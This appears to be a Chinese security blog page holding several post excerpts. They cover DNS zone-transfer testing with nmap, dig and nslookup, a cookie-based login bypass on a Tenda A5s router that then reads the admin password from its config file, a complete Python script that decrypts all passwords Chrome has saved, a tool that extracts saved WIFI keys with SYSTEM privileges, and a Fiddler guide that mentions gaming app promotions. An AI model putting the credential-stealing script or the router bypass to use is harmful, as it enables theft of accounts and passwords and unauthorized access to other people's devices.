DNS域传送漏洞(二)

本篇将介绍使用nmap扫描器和dig来得到DNS Zone Transfer记录。

3)使用nmap扫描DNS域传送泄露漏洞

使用nmap扫描器附带的脚本,可以扫描DNS服务器是否存在域传送漏洞。语法为:

nmap --script dns-zone-transfer --script-args dns-zone-trans
fer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn

对上述命令命令说明如下:

  1. nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse,扩展名.nse可省略
  2. –script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数,设置列出记录的域是nwpu.edu.cn
  3. -p 53设置扫描53端口
  4. -Pn设置通过Ping发现主机是否存活

在虚拟机中执行结果如下图所示:

nmap-dns-transfer
图中dns-zone-transfer后面的部分列出了域中所有的记录。nmap是跨平台的扫描工具,在Linux下照常工作。若使用Ubuntu Linux,可使用apt-get install nmap安装。

4)Dig命令

在Linux下除了使用nmap扫描器,还可以用dig来测试DNS服务器是否存在域传送泄露。Dig是一个非常强大的DNS查询工具,输入“dig -h”查看它的使用说明。鉴于参数较多,以下是经过笔者精简的说明,只留下最常用的几个参数: 继续阅读DNS域传送漏洞(二)

DNS域传送漏洞(一)

本文主要介绍:

1)什么是DNS?

2)使用Nslookup命令探测DNS域传送漏洞

3)使用nmap扫描DNS域传送漏洞

4)使用dig命令检测

5)使用python + Dig批量扫描漏洞主机

6)使用python实现AXFR查询

1)什么是DNS?

DNS(Domain Name System,域名管理系统)是万维网WWW的重要基础。它建立在一个分布式数据库基础之上,在这个数据库里,保存了IP地址域名的相互映射关系。

正因为DNS的存在,我们才不需要记住大量无规则的IP地址, 而只需要知道对方计算机的名称,就可以访问对应服务。比如,笔者的博客是www.lijiejie.com,当用户在浏览器地址栏输入上述域名,浏览器就将向DNS服务器发送查询,得到目标主机的IP地址,再与对应的主机建立一个HTTP连接,请求网页。相对于记住106.187.34.156这个IP地址,域名www.lijiejie.com自然更有意义、更加清晰明了。

DNS服务器使用的TCP/UDP端口号是53。

最常用的DNS记录有以下几类:

  A记录       IP地址记录,记录一个域名对应的IP地址

  AAAA记录    IPv6 地址记录,记录一个域名对应的IPv6地址

  CNAME记录   别名记录,记录一个主机的别名

  MX记录    电子邮件交换记录,记录一个邮件域名对应的IP地址,比如my[at]lijiejie.com
             后面的部分lijiejie.com,邮件服务器对应的IP地址

  NS记录      域名服务器记录 ,记录该域名由哪台域名服务器解析

  PTR记录     反向记录,也即从IP地址到域名的一条记录

   TXT记录     记录域名的相关文本信息

作为重要的互联网基础设施,难免成为黑客的重点攻击目标,服务的稳定性尤为重要。DNS服务器分为:主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。凭借这份网络蓝图,攻击者可以节省很少的扫描时间。

大的互联网厂商通常将内部网络与外部互联网隔离开,一个重要的手段是使用Private DNS。如果内部DNS泄露,将造成极大的安全风险。风险控制不当甚至造成整个内部网络沦陷。

 

2) nslookup命令 

笔者首先介绍DNS查询工具nslookup命令的使用。仅使用该命令,就可完成DNS域传送的测试。在windows命令提示符中输入“nslookup ?”,得到如下简略的用法说明:

d:\nslookup ?

用法:
nslookup [-opt ...]             # 使用默认服务器的交互模式
nslookup [-opt ...] - server    # 使用 "server" 的交互模式
nslookup [-opt ...] host        # 仅查找使用默认服务器的 "host"
nslookup [-opt ...] host server # 仅查找使用 "server" 的 "host"

Nslookup命令以两种方式运行:非交互式和交互式。本 文第一次提到“交互式”的概念,简单说明:交互式系统是指执行过程中允许用户输入数据和命令的系统。而非交互式系统,是指一旦开始运行,不需要人干预就可以自行结束的系统。因此,nslookup以非交互式方式运行,就是指运行后自行结束。而交互式,是指开始运行后,会要求使用者进一步输入数据和命令。

非交互式下命令的语法是是:

nslookup [-option] [hostname] [server]

继续阅读DNS域传送漏洞(一)

Tenda 腾达 A5s迷你路由器登陆绕过

前天在易迅买了个迷你路由器,腾达 A5s,比以前用的TP还小,是我用过的最小路由器。

tenda-5s

穿墙效果一般。测试的时候发现web管理界面存在登陆绕过。

一般流程登陆后,程序会向浏览器写入如下Cookie:

admin:language=zh-cn

可以看到,连明文密码都没保存,更不要说Base64转码了。

利用的方式非常简单:

1) 在浏览器地址栏输入javascript:document.cookie=’admin:language=zh-cn’

2) 再次输入路由器IP,即可进入后台,例如,我的路由器:http://192.168.2.1/

3) 接着下载配置文件,可查看admin的密码:

http://192.168.2.1/cgi-bin/DownloadCfg/RouterCfm.cfg

 

局限是:   首先得连接到无线路由器。这意味着可能要WPA破解。

Python获取Chrome浏览器已保存的所有账号密码

昨天写了获取WIFI密码的脚本,今天继续写一段python脚本获取Chrome浏览器已保存的账号和密码。

Chrome浏览器已保存的密码都保存在一个sqlite3数据库文件中,和Cookies数据库在同一个文件夹,类似:

C:\Users\Lucas Lee\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用CryptUnprotectData函数解密数据库中的密码字段,即可还原密码,只需要User权限,并且只能是User权限

为了防止出现读写出错,建议先把数据库临时拷贝到当前目录。

程序会读出所有的账号、密码、网站,写入文件夹下ChromePass.txt文件

代码如下:

import os, sys
import shutil
import sqlite3
import win32crypt

outFile_path = os.path.join(os.path.dirname(sys.executable),
                            'ChromePass.txt') 
if os.path.exists(outFile_path):
    os.remove(outFile_path)


db_file_path = os.path.join(os.environ['LOCALAPPDATA'],
                            r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)    # In case file locked
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
    pwdHash = str(row[1])
    try:
        ret =  win32crypt.CryptUnprotectData(pwdHash, None, None, None, 0)
    except:
        print 'Fail to decrypt chrome passwords'
        sys.exit(-1)
    with open(outFile_path, 'a+') as outFile:
        outFile.write('UserName: {0:<20} Password: {1:<20} Site: {2} \n\n'.format(
            row[0].encode('gbk'), ret[1].encode('gbk'), row[2].encode('gbk')) )
conn.close()
print 'All Chrome passwords saved to:\n' +  outFile_path
os.remove(tmp_file)    # Remove temp file

Windows可执行文件 (路径中不要有中文)
在Github获取

WIFIpass – Python获取本机保存的所有WIFI密码(附源代码)

于2015-5-1修改了脚本,在 Windows 7 下测试通过。

昨晚临睡前写了一小段python脚本,用于获取PC上保存过 的所有WIFI密码。因为XP和Win7系统保存的位置不相同: XP在注册表,而Win7、Vista等在ProgramData文件夹 ,对XP的支持暂未添加。 简单描述一下这段脚本所做的工作:

1. 获取ProgramData\Microsoft\Wlansvc\Profiles\Interfaces文件夹

WIFI密码经加密后,保存在ProgramData\Microsoft\Wlansvc\Profiles\Interfaces文件夹下,每个SSID对应一个xml文件。直接找到ProgramData文件夹就可以了,显而易见的方式有两种:

  1. Win32 API SHGetFolderPath函数获取
  2. os.environ[‘PROGRAMDATA’]环境变量获取

使用API函数完成更好。

2. 使用CryptUnprotectData函数解密

找到所有xml文件中keyMaterial标签中的内容,调用函数CryptUnprotectData依次解密即可。

3. 获取System权限

这段代码需要SYSTEM权限才能运行成功,这跟我们常用的”管理员身份”还有一些区别。这里我通过psExec创建一个交互式shell完成“权限提升”

WIFIpass

Windows可执行文件(运行成功后会在程序目录下创建一个WIFIpass.txt,包含所有SSID和明文密码)

python源代码

Android客户端HTTP抓包分析的一般步骤

抓包分析Andorid APP可以做许多事情,跟PC上的应用相比,移动应用一般逻辑简单安全性不高。比如说,某些APP上的摇0元商品、刷抽奖、刷红包,都是非常容易编码实现的。

一种不好的思路,可以是自己安装Android SDK,创建虚拟设备来抓包。

另一种不理想的思路,还可以是通过在PC创建共享WIFI,然后在PC上抓包。

总之,相同点是,抓包在PC上进行,而不是直接在手机上。

本文余下部分介绍利用fiddler代理抓包,以及在chrome上修改User-Agent、模拟触屏事件(淘宝刮刮卡?)等。

要求: 手机必须能够访问PC,最好能连接到同一个无线路由器。

1. 安装fiddler

首先是下载安装fiddler:  http://fiddler2.com/get-fiddler

运行fiddler,修改设置:  Tools => Fiddler Options,在 HTTPS选项卡中,勾选Capture和Decrypt  HTTPS。如下图:

fiddler-https

在Connections选项卡中,可以看到fiddler的代理端口为8888,勾选上允许远程访问,如下图:

fiddler-proxy

2. 关闭windows防火墙

在控制面板中,临时关闭windows防火墙。允许连接入代理。

3.  在手机上设置代理

在PC上通过ipconfig获取IP地址。

我的IP地址是192.168.1.4。 那么,在手机上需要将代理设置为192.168.1.4: 8888,如下图:

wifi-proxy-settings

完成以上设置,打开某个APP,fiddler就可以抓到HTTP traffic了。

4. Chrome修改User-Agent和模拟触屏事件

某些页面检测到User-Agent不是指定值,会自动转到APP下载页面。 比如淘宝双12的刮刮卡页面:

http://h5.m.taobao.com/1212/scratchcard/home.html

根据抓包信息,修改User-Agent为: null WindVane/2.6.0 TBANDROID/600000@taobao_android_3.9.5

方法是在Chrome浏览器Ctrl + Shift + J打开控制台,点击右下角的齿轮进行设置。

在settings =>  override选项卡中,勾选Enable,修改User-Agent。

勾选Emulate touch events,模拟触屏事件。

chrome-useragent